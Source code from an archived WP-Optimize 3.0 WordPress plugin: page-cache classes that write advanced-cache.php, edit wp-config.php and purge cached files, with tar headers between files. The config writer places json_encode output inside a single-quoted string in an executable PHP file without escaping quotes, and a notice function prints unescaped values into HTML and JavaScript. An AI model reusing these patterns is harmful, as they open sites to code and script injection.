		return $this->write($config, $skip_disk_if_not_yet_present);
	}

	/**
	 * Calculate cache expiration value in seconds.
	 *
	 * @param int    $value
	 * @param string $unit  ( hours | days | months )
	 *
	 * @return int
	 */
	private function calculate_page_cache_length($value, $unit) {
		$cache_length_units = array(
			'hours' => 3600,
			'days' => 86400,
			'months' => 2629800, // 365.25 * 86400 / 12
		);

		return $value * $cache_length_units[$unit];
	}

	/**
	 * Deletes config files and options
	 *
	 * @return bool
	 */
	public function delete() {

		if (is_multisite()) {
			delete_site_option('wpo_cache_config');
		} else {
			delete_option('wpo_cache_config');
		}
		
		if (!WPO_Page_Cache::delete(WPO_CACHE_CONFIG_DIR)) {
			return false;
		}

		return true;
	}

	/**
	 * Writes config to file
	 *
	 * @param array	  $config		   - Configuration array.
	 * @param boolean $only_if_present - only writes to the disk if the configuration file already exists
	 *
	 * @return boolean - returns false if an attempt to write failed
	 */
	private function write($config, $only_if_present = false) {

		$url = parse_url(network_site_url());

		if (isset($url['port']) && '' != $url['port'] && 80 != $url['port']) {
			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].'-port'.$url['port'].'.php';
		} else {
			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].'.php';
		}

		$this->config = wp_parse_args($config, $this->get_defaults());

		// from 3.0.17 we use more secure way to store cache config files.
		$advanced_cache_version = WPO_Page_Cache::instance()->get_advanced_cache_version();
		// if advanced-cache.php exists and has at least 3.0.17 version or
		// advanced-cache.php doesn't exist and WP-O has at least 3.0.17 version then
		// we write the cache config in a new format.
		if (($advanced_cache_version && (0 >= version_compare($advanced_cache_version, '3.0.17')))
			|| (!$advanced_cache_version && (0 >= version_compare(WPO_VERSION, '3.0.17')))
		) {
			$config_content = '<?php' . "\n"
				. 'if (!defined(\'ABSPATH\')) die(\'No direct access allowed\');' . "\n\n"
				. '$GLOBALS[\'wpo_cache_config\'] = json_decode(\'' . json_encode($this->config) . '\', true);' . "\n";
		} else {
			$config_content = json_encode($this->config);
		}

		if ((!$only_if_present || file_exists($config_file)) && !file_put_contents($config_file, $config_content)) {
			return false;
		}

		return true;
	}

	/**
	 * Verify we can write to the file system
	 *
	 * @since  1.0
	 * @return boolean
	 */
	public function verify_file_access() {
		if (function_exists('clearstatcache')) {
			clearstatcache();
		}

		// First check wp-config.php.
		if (!is_writable(ABSPATH . 'wp-config.php') && !is_writable(ABSPATH . '../wp-config.php')) {
			return false;
		}

		// Now check wp-content. We need to be able to create files of the same user as this file.
		if (!$this->_is_dir_writable(untrailingslashit(WP_CONTENT_DIR))) {
			return false;
		}

		// If the cache and config directories exist, make sure they're writeable
		if (file_exists(untrailingslashit(WP_CONTENT_DIR) . '/wpo-cache')) {
			
			if (file_exists(WPO_CACHE_DIR)) {
				if (!$this->_is_dir_writable(WPO_CACHE_DIR)) {
					return false;
				}
			}

			if (file_exists(WPO_CACHE_CONFIG_DIR)) {
				if (!$this->_is_dir_writable(WPO_CACHE_CONFIG_DIR)) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Return defaults
	 *
	 * @return array
	 */
	public function get_defaults() {
		
		$defaults = array(
			'enable_page_caching'						=> false,
			'page_cache_length_value'					=> 24,
			'page_cache_length_unit'					=> 'hours',
			'page_cache_length'							=> 86400,
			'cache_exception_urls'						=> array(),
			'cache_exception_cookies'					=> array(),
			'cache_exception_browser_agents'			=> array(),
			'enable_sitemap_preload'					=> false,
			'enable_schedule_preload'					=> false,
			'preload_schedule_type'						=> '',
			'enable_mobile_caching'						=> false,
			'enable_user_caching'						=> false,
			'site_url'									=> network_site_url('/'),
			'enable_cache_per_country'					=> false,
		);

		return apply_filters('wpo_cache_defaults', $defaults);
	}

	/**
	 * Return an instance of the current class, create one if it doesn't exist
	 *
	 * @since  1.0
	 * @return WPO_Cache_Config
	 */
	public static function instance() {

		if (!self::$instance) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}
endif;
cms/wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/cache/class-wpo-page-cache.php000644 000000 000000 00000064662 13637420154 032652 0ustar00rootwheel000000 000000 <?php
/**
 * Page caching functionality
 *
 * Acknowledgement: The page cache functionality was loosely based on the simple cache plugin - https://github.com/tlovett1/simple-cache
 */

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Base cache directory, everything else goes under here
 */
if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', untrailingslashit(WP_CONTENT_DIR).'/wpo-cache');

/**
 * Extensions directory.
 */
if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', dirname(__FILE__).'/extensions');

/**
 * Directory that stores config and related files
 */
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', WPO_CACHE_DIR.'/config');

/**
 * Directory that stores the cache, including gzipped files and mobile specifc cache
 */
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', untrailingslashit(WP_CONTENT_DIR).'/cache/wpo-cache');

if (!class_exists('WPO_Cache_Config')) require_once(dirname(__FILE__) . '/class-wpo-cache-config.php');
if (!class_exists('WPO_Cache_Rules')) require_once(dirname(__FILE__) . '/class-wpo-cache-rules.php');

if (!class_exists('WP_Optimize_Detect_Cache_Plugins')) require_once(dirname(__FILE__) . '/class-wpo-detect-cache-plugins.php');

if (!class_exists('WP_Optimize_Page_Cache_Preloader')) require_once(dirname(__FILE__) . '/class-wpo-cache-preloader.php');
if (!class_exists('WPO_Cache_Config')) require_once(dirname(__FILE__) . '/class-wpo-cache-config.php');
if (!class_exists('WPO_Cache_Rules')) require_once(dirname(__FILE__) . '/class-wpo-cache-rules.php');

if (!class_exists('Updraft_Abstract_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'/includes/class-updraft-abstract-logger.php');
if (!class_exists('Updraft_PHP_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'/includes/class-updraft-php-logger.php');

require_once dirname(__FILE__) . '/file-based-page-cache-functions.php';

if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
	require_once dirname(__FILE__) . '/php-5.3-functions.php';
}

wpo_cache_load_extensions();

if (!class_exists('WPO_Page_Cache')) :

class WPO_Page_Cache {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Logger for this class
	 *
	 * @var mixed
	 */
	public $logger;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;

	/**
	 * Store last advanced cache file writing status
	 * If true then last writing finished with error
	 *
	 * @var bool
	 */
	public $advanced_cache_file_writing_error;

	/**
	 * Last advanced cache file content
	 *
	 * @var string
	 */
	public $advanced_cache_file_content;

	/**
	 * Store the latest advanced-cache.php version required
	 *
	 * @var string
	 */
	private $_minimum_advanced_cache_file_version = '3.0.17';

	/**
	 * Set everything up here
	 */
	public function __construct() {
		$this->config = WPO_Cache_Config::instance();
		$this->rules  = WPO_Cache_Rules::instance();
		$this->logger = new Updraft_PHP_Logger();

		add_action('activate_plugin', array($this, 'activate_deactivate_plugin'));
		add_action('deactivate_plugin', array($this, 'activate_deactivate_plugin'));

		/**
		 * Regenerate config file on cache flush.
		 */
		add_action('wpo_cache_flush', array($this, 'update_cache_config'));
		add_action('wpo_cache_flush', array($this, 'delete_cache_size_information'));

		// Add purge cache link to admin bar.
		add_action('admin_bar_menu', array($this, 'wpo_admin_bar_purge_cache'), 100);

		// Handle single page purge.
		add_action('wp_loaded', array($this, 'handle_purge_single_page_cache'));

		add_action('admin_init', array($this, 'admin_init'));
	}

	/**
	 * Do required actions on activate/deactivate any plugin.
	 */
	public function activate_deactivate_plugin() {

		$this->update_cache_config();

		/**
		 * Filters whether activating / deactivating a plugin will purge the cache.
		 */
		if (apply_filters('wpo_purge_page_cache_on_activate_deactivate_plugin', true)) {
			$this->purge();
		}
	}

	/**
	 * Check if current user can purge cache.
	 *
	 * @return bool
	 */
	public function can_purge_cache() {
		if (is_multisite()) return $this->is_enabled() && current_user_can('manage_network_options');
		return $this->is_enabled() && current_user_can('manage_options');
	}

	/**
	 * Add Purge from cache in admin bar.
	 *
	 * @param WP_Admin_Bar $wp_admin_bar
	 */
	public function wpo_admin_bar_purge_cache($wp_admin_bar) {
		global $pagenow;

		if (!$this->can_purge_cache()) return;

		$act_url = remove_query_arg(array('wpo_single_page_cache_purged', 'wpo_all_pages_cache_purged'));

		if (!is_admin() || 'post.php' == $pagenow) {
			$wp_admin_bar->add_menu(array(
				'id'    => 'wpo_purge_cache',
				'title' => __('Purge cache', 'wp-optimize'),
				'href'  => '#',
				'meta'  => array(
					'title' => __('Purge cache', 'wp-optimize'),
				),
				'parent' => false,
			));

			$wp_admin_bar->add_node(array(
				'id'    => 'wpo_purge_this_page_cache',
				'title' => __('Purge this page', 'wp-optimize'),
				'href'  => add_query_arg('_wpo_purge', wp_create_nonce('wpo_purge_single_page_cache'), $act_url),
				'meta'  => array(
					'title' => __('Purge this page', 'wp-optimize'),
				),
				'parent' => 'wpo_purge_cache',
			));

			$wp_admin_bar->add_node(array(
				'id'    => 'wpo_purge_all_pages_cache',
				'title' => __('Purge all pages', 'wp-optimize'),
				'href'  => add_query_arg('_wpo_purge', wp_create_nonce('wpo_purge_all_pages_cache'), $act_url),
				'meta'  => array(
					'title' => __('Purge all pages', 'wp-optimize'),
				),
				'parent' => 'wpo_purge_cache',
			));
		} else {
			$wp_admin_bar->add_menu(array(
				'id'    => 'wpo_purge_cache',
				'title' => __('Purge all pages', 'wp-optimize'),
				'href'  => add_query_arg('_wpo_purge', wp_create_nonce('wpo_purge_all_pages_cache'), $act_url),
				'meta'  => array(
					'title' => __('Purge all pages', 'wp-optimize'),
				),
				'parent' => false,
			));
		}
	}

	/**
	 * Check if purge single page action sent and purge cache.
	 */
	public function handle_purge_single_page_cache() {

		if (!$this->can_purge_cache()) return;

		if (isset($_GET['wpo_single_page_cache_purged']) || isset($_GET['wpo_all_pages_cache_purged'])) {
			if (isset($_GET['wpo_single_page_cache_purged'])) {
				$notice_function = $_GET['wpo_single_page_cache_purged'] ? 'notice_purge_single_page_cache_success' : 'notice_purge_single_page_cache_error';
			} else {
				$notice_function = $_GET['wpo_all_pages_cache_purged'] ? 'notice_purge_all_pages_cache_success' : 'notice_purge_all_pages_cache_error';
			}

			add_action('admin_notices', array($this, $notice_function));

			return;
		}

		if (!isset($_GET['_wpo_purge'])) return;

		if (wp_verify_nonce($_GET['_wpo_purge'], 'wpo_purge_single_page_cache')) {
			$success = false;

			if (is_admin()) {
				$post = isset($_GET['post']) ? (int) $_GET['post'] : 0;
				if ($post > 0) {
					$success = self::delete_single_post_cache($post);
				}
			} else {
				$success = self::delete_cache_by_url(wpo_current_url());
			}

			// remove nonce from url and reload page.
			wp_redirect(add_query_arg('wpo_single_page_cache_purged', $success, remove_query_arg('_wpo_purge')));
			exit;

		} elseif (wp_verify_nonce($_GET['_wpo_purge'], 'wpo_purge_all_pages_cache')) {
			$success = self::purge();

			// remove nonce from url and reload page.
			wp_redirect(add_query_arg('wpo_all_pages_cache_purged', $success, remove_query_arg('_wpo_purge')));
			exit;
		}
	}

	/**
	 * Show notification when page cache purged successfully.
	 */
	public function notice_purge_single_page_cache_success() {
		$this->show_notice(__('The page cache was successfully purged.', 'wp-optimize'), 'success');
	}

	/**
	 * Show notification when page cache wasn't purged.
	 */
	public function notice_purge_single_page_cache_error() {
		$this->show_notice(__('The page cache was not purged.', 'wp-optimize'), 'error');
	}

	/**
	 * Show notification when all pages cache purged successfully.
	 */
	public function notice_purge_all_pages_cache_success() {
		$this->show_notice(__('The page cache was successfully purged.', 'wp-optimize'), 'success');
	}

	/**
	 * Show notification when all pages cache wasn't purged.
	 */
	public function notice_purge_all_pages_cache_error() {
		$this->show_notice(__('The page cache was not purged.', 'wp-optimize'), 'error');
	}

	/**
	 * Show notification in WordPress admin.
	 *
	 * @param string $message HTML (no further escaping is performed)
	 * @param string $type    error, warning, success, or info
	 */
	public function show_notice($message, $type) {
		?>
		<div class="notice wpo-notice notice-<?php echo $type; ?> is-dismissible">
			<p><?php echo $message; ?></p>
		</div>
		<script>
			window.addEventListener('load', function() {
				(function(wp) {
					wp.data.dispatch('core/notices').createNotice(
						'<?php echo $type; ?>',
						'<?php echo $message; ?>',
						{
							isDismissible: true,
						}
					);
				})(window.wp);
			});
		</script>
		<?php
	}

	/**
	 * Enables page cache
	 *
	 * @param bool $force_enable - Force regenerating everything. E.g. we want to do that when saving the settings
	 *
	 * @return WP_Error|bool - true on success, error otherwise
	 */
	public function enable($force_enable = false) {
		static $already_ran_enable = false;

		if ($already_ran_enable) return $already_ran_enable;

		$folders_created = $this->create_folders();
		if (is_wp_error($folders_created)) {
			$already_ran_enable = $folders_created;
			return $already_ran_enable;
		}

		// if WPO_ADVANCED_CACHE isn't set, or environment doesn't contain the right constant, force regeneration
		if (!defined('WPO_ADVANCED_CACHE') || !defined('WP_CACHE')) {
			$force_enable = true;
		}

		if (!$force_enable) {
			$already_ran_enable = true;
			return true;
		}

		if (!$this->write_advanced_cache() && $this->get_advanced_cache_version() != WPO_VERSION) {
			$message = sprintf("The request to write the file %s failed. ", htmlspecialchars($this->get_advanced_cache_filename()));
			$message .= ' '.__('Your WP install might not have permission to write inside the wp-content folder.', 'wp-optimize');

			if (!defined('WP_CLI') || !WP_CLI) {
				$message .= "\n\n".sprintf(__('1. Please navigate, via FTP, to the folder - %s', 'wp-optimize'), htmlspecialchars(dirname($this->get_advanced_cache_filename())));
				$message .= "\n".__('2. Edit or create a file with the name advanced-cache.php', 'wp-optimize');
				$message .= "\n".__('3. Copy and paste the following lines into the file:', 'wp-optimize');
			}

			$already_ran_enable = new WP_Error("write_advanced_cache", $message);
			return $already_ran_enable;
		}

		if (!$this->write_wp_config(true)) {
			$already_ran_enable = new WP_Error("write_wp_config", "Could not toggle the WP_CACHE constant in wp-config.php. Check your permissions.");
			return $already_ran_enable;
		}

		if (!$this->verify_cache()) {
			$already_ran_enable = new WP_Error("verify_cache", "Could not verify if the cache was enabled. Turn on logging to find the reason.");
			return $already_ran_enable;
		}

		$already_ran_enable = true;

		return true;
	}

	/**
	 * Disables page cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function disable() {
		$ret = true;

		$advanced_cache_file = $this->get_advanced_cache_filename();
		
		// We only touch advanched-cache.php and wp-config.php if it appears that we were in control of advanced-cache.php
		if (!file_exists($advanced_cache_file) || false !== strpos(file_get_contents($advanced_cache_file), 'WP-Optimize advanced-cache.php')) {

			// First try to remove (so that it doesn't look to any other plugin like the file is already 'claimed')
			if (file_exists($advanced_cache_file) && (!unlink($advanced_cache_file) && false === file_put_contents($advanced_cache_file, "<?php\n// WP-Optimize: page cache disabled"))) {
				$this->log("The request to the filesystem to remove or empty advanced-cache.php failed");
				$ret = false;
			}

			// N.B. The only use of WP_CACHE in WP core is to include('advanced-cache.php') (and run a function if it's then defined); so, if the decision to leave it enable is, for some unexpected reason, technically incorrect, it still can't cause a problem.
			if (!$this->write_wp_config(false)) {
				$this->log("Could not toggle the WP_CACHE constant in wp-config.php");
				$ret = false;
			}
		}

		// Delete cache to avoid stale cache on next activation
		$this->purge();

		return $ret;
	}


	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function purge() {

		if (!self::delete(WPO_CACHE_FILES_DIR)) {
			$this->log("The request to the filesystem to delete the cache failed");
			return false;
		}

		/**
		 * Fires after purging the cache
		 */
		do_action('wpo_cache_flush');

		return true;
	}

	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function clean_up() {

		$this->disable();

		if (!self::delete(WPO_CACHE_DIR, true)) {
			$this->log("The request to the filesystem to clean up the cache failed");
			return false;
		}

		return true;
	}

	/**
	 * Check if cache is enabled and working
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function is_enabled() {

		if (!defined('WP_CACHE') || !WP_CACHE) {
			return false;
		}

		if (!defined('WPO_ADVANCED_CACHE') || !WPO_ADVANCED_CACHE) {
			return false;
		}

		if (!$this->config->get_option('enable_page_caching', false)) {
			return false;
		}

		return true;
	}

	/**
	 * Create the folder structure needed for cache to work
	 *
	 * @return bool - true on success, false otherwise
	 */
	private function create_folders() {

		if (!is_dir(WPO_CACHE_DIR) && !wp_mkdir_p(WPO_CACHE_DIR)) {
			return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_DIR)));
		}

		if (!is_dir(WPO_CACHE_CONFIG_DIR) && !wp_mkdir_p(WPO_CACHE_CONFIG_DIR)) {
			return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_CONFIG_DIR)));
		}
		
		if (!is_dir(WPO_CACHE_FILES_DIR)) {
			if (!wp_mkdir_p(WPO_CACHE_FILES_DIR)) {
				return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_FILES_DIR)));
			} else {
				wpo_disable_cache_directories_viewing();
			}
		}

		return true;
	}

	/**
	 * Get advanced-cache.php file name with full path.
	 *
	 * @return string
	 */
	public function get_advanced_cache_filename() {
		return untrailingslashit(WP_CONTENT_DIR) . '/advanced-cache.php';
	}

	/**
	 * Writes advanced-cache.php
	 *
	 * @return bool
	 */
	private function write_advanced_cache() {

		$url = parse_url(network_site_url());
	
		if (isset($url['port']) && '' != $url['port'] && 80 != $url['port']) {
			$config_file_basename = 'config-'.$url['host'].'-port'.$url['port'].'.php';
		} else {
			$config_file_basename = 'config-'.$url['host'].'.php';
		}

		$cache_file_basename = untrailingslashit(plugin_dir_path(__FILE__));
		$plugin_basename = basename(WPO_PLUGIN_MAIN_PATH);
		$cache_path = '/wpo-cache';
		$cache_files_path = '/cache/wpo-cache';
		$cache_extensions_path = WPO_CACHE_EXT_DIR;
		$wpo_version = WPO_VERSION;

		// CS does not like heredoc
		// phpcs:disable
		$this->advanced_cache_file_content = <<<EOF
<?php

if (!defined('ABSPATH')) die('No direct access allowed');

// WP-Optimize advanced-cache.php (written by version: $wpo_version) (do not change this line, it is used for correctness checks)

if (!defined('WPO_ADVANCED_CACHE')) define('WPO_ADVANCED_CACHE', true);

if (is_admin()) { return; }

\$possible_plugin_locations = array(
	defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR.'/$plugin_basename/cache' : false,
	defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR.'/plugins/$plugin_basename/cache' : false,
	dirname(__FILE__).'/plugins/$plugin_basename/cache',
	'$cache_file_basename',
);

\$plugin_location = false;

foreach (\$possible_plugin_locations as \$possible_location) {
	if (false !== \$possible_location && @file_exists(\$possible_location.'/file-based-page-cache.php')) {
		\$plugin_location = \$possible_location;
		break;
	}
}

if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', WP_CONTENT_DIR.'$cache_path');
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', WPO_CACHE_DIR.'/config');
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', WP_CONTENT_DIR.'$cache_files_path');
if (false !== \$plugin_location) {
	if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', \$plugin_location.'/extensions');
} else {
	if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', '$cache_extensions_path');
}

if (!@file_exists(WPO_CACHE_CONFIG_DIR . '/$config_file_basename')) { return; }

\$GLOBALS['wpo_cache_config'] = @json_decode(file_get_contents(WPO_CACHE_CONFIG_DIR . '/$config_file_basename'), true);

if (empty(\$GLOBALS['wpo_cache_config'])) {
	include_once(WPO_CACHE_CONFIG_DIR . '/$config_file_basename');
}

if (empty(\$GLOBALS['wpo_cache_config']) || empty(\$GLOBALS['wpo_cache_config']['enable_page_caching'])) { return; }

if (false !== \$plugin_location) { include_once(\$plugin_location.'/file-based-page-cache.php'); }

EOF;
		// phpcs:enable
		$advanced_cache_filename = $this->get_advanced_cache_filename();

		// check if we can't write the advanced cache file
		// case 1: the directory is read-only and the file doesn't exist
		// case 2: the file is already exists but it's read-only
		if (!is_file($advanced_cache_filename) && !is_writable(dirname($advanced_cache_filename)) || (is_file($advanced_cache_filename) && !is_writable($advanced_cache_filename))) {
			$this->advanced_cache_file_writing_error = true;
			return false;
		}

		if (!file_put_contents($this->get_advanced_cache_filename(), $this->advanced_cache_file_content)) {
			$this->advanced_cache_file_writing_error = true;
			return false;
		}

		$this->advanced_cache_file_writing_error = false;
		return true;
	}

	/**
	 * Update advanced cache version if needed.
	 */
	public function maybe_update_advanced_cache() {

		if (!$this->is_enabled()) return;

		// from 3.0.17 we use more secure way to store cache config files and need update advanced-cache.php
		$advanced_cache_current_version = $this->get_advanced_cache_version();
		if ($advanced_cache_current_version && version_compare($advanced_cache_current_version, $this->_minimum_advanced_cache_file_version, '>=')) return;

		if (!$this->write_advanced_cache()) {
			add_action('admin_notices', array($this, 'notice_advanced_cache_autoupdate_error'));
		} else {
			$this->update_cache_config();
		}
	}

	/**
	 * Show notification when advanced-cache.php could not be updated.
	 */
	public function notice_advanced_cache_autoupdate_error() {
		$this->show_notice(__('The file advanced-cache.php needs to be updated, but the automatic process failed.', 'wp_optimize').
		' <a href="'.admin_url('admin.php?page=wpo_cache').'">'.__('Please try to re-enable WP-Optimize cache manually.', 'wp-optimize').'</a>', 'error');
	}

	/**
	 * Get WPO version number from advanced-cache.php file.
	 *
	 * @return bool|mixed
	 */
	public function get_advanced_cache_version() {
		if (!is_file($this->get_advanced_cache_filename())) return false;

		$version = false;
		$content = file_get_contents($this->get_advanced_cache_filename());

		if (preg_match('/WP\-Optimize advanced\-cache\.php \(written by version\: (.+)\)/Ui', $content, $match)) {
			$version = $match[1];
		}

		return $version;
	}

	/**
	 * Set WP_CACHE on or off in wp-config.php
	 *
	 * @param  boolean $status value of WP_CACHE.
	 * @return boolean true if the value was set, false otherwise
	 */
	private function write_wp_config($status = true) {

		if (defined('WP_CACHE') && WP_CACHE === $status) {
			return true;
		}

		$config_path = $this->_get_wp_config();

		// Couldn't find wp-config.php.
		if (!$config_path) {
			return false;
		}

		$config_file_string = file_get_contents($config_path);

		// Config file is empty. Maybe couldn't read it?
		if (empty($config_file_string)) {
			return false;
		}

		$config_file = preg_split("#(\n|\r\n)#", $config_file_string);
		$line_key    = false;

		foreach ($config_file as $key => $line) {
			if (!preg_match('/^\s*define\(\s*(\'|")([A-Z_]+)(\'|")(.*)/i', $line, $match)) {
				continue;
			}

			if ('WP_CACHE' === $match[2]) {
				$line_key = $key;
			}
		}

		if (false !== $line_key) {
			unset($config_file[$line_key]);
		}


		if ($status) {
			array_shift($config_file);
			array_unshift($config_file, '<?php', "define('WP_CACHE', true); // WP-Optimize Cache");
		}

		foreach ($config_file as $key => $line) {
			if ('' === $line) {
				unset($config_file[$key]);
			}
		}
		if (!file_put_contents($config_path, implode(PHP_EOL, $config_file))) {
			return false;
		}

		return true;
	}

	/**
	 * Verify we can write to the file system
	 *
	 * @return boolean
	 */
	private function verify_cache() {
		if (function_exists('clearstatcache')) {
			clearstatcache();
		}

		// First check wp-config.php.
		if (!$this->_get_wp_config() && !is_writable($this->_get_wp_config())) {
			$this->log("Unable to write to or find wp-config.php; please check file/folder permissions");
			return false;
		}

		$advanced_cache_file = untrailingslashit(WP_CONTENT_DIR).'/advanced-cache.php';
		
		// Now check wp-content. We need to be able to create files of the same user as this file.
		if ((!file_exists($advanced_cache_file) || false === strpos(file_get_contents($advanced_cache_file), 'WP-Optimize advanced-cache.php')) && !is_writable($advanced_cache_file) && !is_writable(untrailingslashit(WP_CONTENT_DIR))) {
			$this->log("Unable to write the file advanced-cache.php inside the wp-content folder; please check file/folder permissions");
			return false;
		}

		// If the cache and config directories exist, make sure they're writeable.
		if (file_exists(WPO_CACHE_DIR)) {
			if (!is_writable(WPO_CACHE_DIR)) {
				$this->log("Unable to write inside the cache folder; please check file/folder permissions");
				return false;
			}
		}

		if (file_exists(WPO_CACHE_FILES_DIR)) {
			if (!is_writable(WPO_CACHE_FILES_DIR)) {
				$this->log("Unable to write inside the cache files folder; please check file/folder permissions");
				return false;
			}
		}

		if (file_exists(WPO_CACHE_CONFIG_DIR)) {
			if (!is_writable(WPO_CACHE_CONFIG_DIR)) {
				$this->log("Unable to write inside the cache configuration folder; please check file/folder permissions");
				return false;
			}
		}

		return true;
	}

	/**
	 * Update cache config. Used to support 3d party plugins.
	 */
	public function update_cache_config() {
		// get current cache settings.
		$current_config = $this->config->get();
		// and call update to change if need cookies and query variable names.
		$this->config->update($current_config, true);
	}

	/**
	 * Delete information about cache size.
	 */
	public function delete_cache_size_information() {
		delete_transient('wpo_get_cache_size');
	}

	/**
	 * Get current cache size.
	 *
	 * @return array
	 */
	public function get_cache_size() {
		$cache_size = get_transient('wpo_get_cache_size');

		if (!empty($cache_size)) return $cache_size;

		$infos = $this->get_dir_infos(WPO_CACHE_FILES_DIR);
		$cache_size = array(
			'size' => $infos['size'],
			'file_count' => $infos['file_count']
		);

		set_transient('wpo_get_cache_size', $cache_size);

		return $cache_size;
	}

	/**
	 * Fetch directory informations.
	 *
	 * @param string $dir
	 * @return array
	 */
	private function get_dir_infos($dir) {
		$dir_size = 0;
		$file_count = 0;

		if (!is_dir($dir)) {
			return array('size' => 0, 'file_count' => 0);
		}

		$files = scandir($dir);

		foreach ($files as $file) {
			if ('.' == $file || '..' == $file) continue;

			$current_file = $dir.'/'.$file;

			if (is_dir($current_file)) {
				$sub_dir_infos = $this->get_dir_infos($current_file);
				$dir_size += $sub_dir_infos['size'];
				$file_count += $sub_dir_infos['file_count'];
			} elseif (is_file($current_file)) {
				$dir_size += filesize($current_file);
				$file_count++;
			}
		}

		return array('size' => $dir_size, 'file_count' => $file_count);
	}

	/**
	 * Returns the path to wp-config
	 *
	 * @return string|boolean wp-config.php path.
	 */
	private function _get_wp_config() {

		$config_path = false;

		foreach (get_included_files() as $filename) {
			if (preg_match('/(\\\\|\/)wp-config\.php$/i', $filename)) {
				$config_path = $filename;
				break;
			}
		}

		// WP-CLI doesn't include wp-config.php that's why we use function from WP-CLI to locate config file.
		if (!$config_path && is_callable('wpo_wp_cli_locate_wp_config')) {
			$config_path = wpo_wp_cli_locate_wp_config();
		}

		return $config_path;
	}

	/**
	 * Util to delete folders and/or files
	 *
	 * @param string $src
	 * @return boolean
	 */
	public static function delete($src) {

		return wpo_delete_files($src);

	}

	/**
	 * Delete cached files for specific url.
	 *
	 * @param string $url
	 * @param bool   $recursive If true child elements will deleted too
	 *
	 * @return bool
	 */
	public static function delete_cache_by_url($url, $recursive = false) {
		if (!defined('WPO_CACHE_FILES_DIR') || '' == $url) return;

		$path = trailingslashit(WPO_CACHE_FILES_DIR) . trailingslashit(wpo_get_url_path($url));

		return wpo_delete_files($path, $recursive);
	}

	/**
	 * Delete cached files for single post.
	 *
	 * @param integer $post_id The post ID
	 *
	 * @return bool
	 */
	public static function delete_single_post_cache($post_id) {
	
		if (!defined('WPO_CACHE_FILES_DIR')) return;
	
		$path = trailingslashit(WPO_CACHE_FILES_DIR) . trailingslashit(wpo_get_url_path(get_permalink($post_id)));

		return wpo_delete_files($path, false);
	}

	/**
	 * Delete cached home page files.
	 */
	public static function delete_homepage_cache() {
	
		if (!defined('WPO_CACHE_FILES_DIR')) return;
	
		$path = trailingslashit(WPO_CACHE_FILES_DIR) . trailingslashit(wpo_get_url_path(get_home_url(get_current_blog_id())));

		wpo_delete_files($path, false);
	}

	/**
	 * Admin actions
	 *
	 * @return void
	 */
	public function admin_init() {
		// Maybe update the advanced cache.
		if ((!defined('DOING_AJAX') || !DOING_AJAX) && current_user_can('update_plugins')) {
			$this->maybe_update_advanced_cache();
		}
	}

	/**
	 * Logs error messages
	 *
	 * @param  string $message
	 * @return null|void
	 */
	public function log($message) {
		if (isset($this->logger)) {
			$this->logger->log('ERROR', $message);
		} else {
			error_log($message);
		}
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return object
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}
}

endif;
wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/cache/file-based-page-cache-functions.php000644 000000 000000 00000067233 13637401250 034655 0ustar00rootwheel000000 000000 cms<?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Extensions directory.
 */
if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', dirname(__FILE__).'/extensions');

/**
 * Holds utility functions used by file based cache
 */

/**
 * Cache output before it goes to the browser. If moving/renaming this function, then also change the check above.
 *
 * @param  string $buffer Page HTML.
 * @param  int    $flags  OB flags to be passed through.
 * @return string
 */
if (!function_exists('wpo_cache')) :
function wpo_cache($buffer, $flags) {
	global $post;
	
	// This array records reasons why no cacheing took place. Be careful not to allow actions to proceed that should not - i.e. take note of its state appropriately.
	$no_cache_because = array();

	if (strlen($buffer) < 255) {
		$no_cache_because[] = sprintf(__('Output is too small (less than %d bytes) to be worth cacheing', 'wp-optimize'), 255);
	}

	// Don't cache pages for logged in users.
	if (!function_exists('is_user_logged_in') || is_user_logged_in()) {
		$no_cache_because[] = __('User is logged in', 'wp-optimize');
	}

	$restricted_page_type_cache = apply_filters('wpo_restricted_cache_page_type', false);
	if ($restricted_page_type_cache) {
		$no_cache_because[] = $restricted_page_type_cache;
	}

	// No root cache folder, so short-circuit here
	if (!file_exists(WPO_CACHE_DIR)) {
